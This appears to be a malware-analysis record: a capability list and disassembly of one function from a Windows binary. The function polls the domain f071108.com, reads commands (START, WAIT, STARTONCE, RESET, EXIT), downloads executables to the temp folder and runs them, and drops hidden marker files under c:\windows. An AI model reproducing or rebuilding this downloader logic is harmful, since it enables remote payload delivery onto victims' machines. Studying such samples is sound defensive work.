Function at 0x401fb1
Capabilities:
Check if file exists
Delete file
Get common file path
Set file attributes
Terminate process

Disassembly:
mov eax, 0x662c
call fcn.00409a50
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
call edi
push 0xa
xor edx, edx
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
div ecx
push edx
call esi
xor ebp, ebp
lea eax, [esp + 0x141c]
push ebp
push dword [esp + 0x6660]
push 0x40d414
push dword [esp + 0x6664]
push dword [esp + 0x6664]
push dword [esp + 0x6664]
push dword [esp + 0x6664]
push dword [esp + 0x6664]
push dword [esp + 0x6664]
push dword [esp + 0x6664]
push str.nick_slogin_ssuccess_dfriends_dcaptcha_dcaptchaok_dfinish_dv_sp_sc_d
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x4e1f
lea eax, [esp + 0x1850]
push ebp
push eax
call sub.MSVCRT.dll_memset
add esp, 0x3c
mov dword [esp + 0x18], ebp
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x1820]
push eax
lea eax, [esp + 0x1424]
push dword [esp + 0x6668]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [esp + 0x142c]
push eax
push str.f071108.com
call fcn.00401760
cmp dword [esp + 0x18], ebp
jbe 0x4023c4
lea eax, [esp + 0x181c]
push 0x40d044
push eax
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
cmp eax, ebp
pop ecx
je 0x4023c4
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push eax
call dword [sym.imp.MSVCRT.dll__strdup]
pop ecx
mov ebx, eax
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push ebx
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x4023a5
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push ebx
call sub.MSVCRT.dll_strlen
cmp byte [eax + ebx - 1], 0xd
pop ecx
jne 0x4020fd
push ebx
call sub.MSVCRT.dll_strlen
and byte [eax + ebx - 1], 0
pop ecx
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0x40d2d4
push ebx
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebp, eax
pop ecx
test ebp, ebp
pop ecx
je 0x402349
and byte [ebp], 0
push str.START
push ebx
inc ebp
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x4021ad
lea eax, [esp + 0xc1c]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
and byte [esp + eax + 0xc1c], 0
push 0
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push eax
lea eax, [esp + 0xc20]
push eax
lea eax, [esp + 0x424]
push str._s_tt__d.exe
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [esp + 0x41c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
xor eax, eax
lea ecx, [esp + 0x41c]
push eax
push eax
push ecx
push ebp
push eax
call fcn.00403f99
test eax, eax
jne 0x4021ad
push eax
lea eax, [esp + 0x420]
push eax
call fcn.004016e6
push str.WAIT
push ebx
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x4021cf
push ebp
call dword [sym.imp.MSVCRT.dll_atoi]
imul eax, eax, 0xea60
pop ecx
push eax
call esi
push str.STARTONCE
push ebx
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x40233b
and dword [esp + 0x14], eax
and dword [esp + 0x10], eax
push ebp
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x402214
mov eax, dword [esp + 0x10]
push ebp
movsx eax, byte [eax + ebp]
add dword [esp + 0x18], eax
inc dword [esp + 0x14]
call sub.MSVCRT.dll_strlen
cmp dword [esp + 0x14], eax
pop ecx
jb 0x4021f7
push dword [esp + 0x14]
lea eax, [esp + 0x20]
push str.c:windows_t55ft_df44.dat
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40233b
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x101c]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
and byte [esp + eax + 0x101c], 0
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push eax
lea eax, [esp + 0x1020]
push eax
lea eax, [esp + 0x824]
push str._szzr__d.exe
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [esp + 0x81c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
xor eax, eax
lea ecx, [esp + 0x81c]
push eax
push eax
push ecx
push ebp
push eax
call fcn.00403f99
test eax, eax
jne 0x4022f0
push eax
lea eax, [esp + 0x820]
push eax
call fcn.004016e6
lea eax, [esp + 0x1c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [esp + 0x1c]
push 0x40d340
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
pop ecx
test ebp, ebp
pop ecx
je 0x40232e
push 0x40d354
push ebp
call dword [sym.imp.MSVCRT.dll_fprintf]
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
lea eax, [esp + 0x1c]
push 2
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
jmp 0x402397
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.RESET
push ebx
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x40237a
mov ebp, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push str.c:windows_be49f4d98.dat
call ebp
push str.c:windows_be49f4d99.dat
call ebp
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.EXIT
push ebx
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x4023d1
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
xor ebp, ebp
push ebx
call dword [sym.imp.MSVCRT.dll_free]
mov dword [esp], 0x40d044
push ebp
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
cmp eax, ebp
pop ecx
jne 0x4020b2
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x662c
ret 0x24
push 0
call dword [sym.imp.MSVCRT.dll_exit]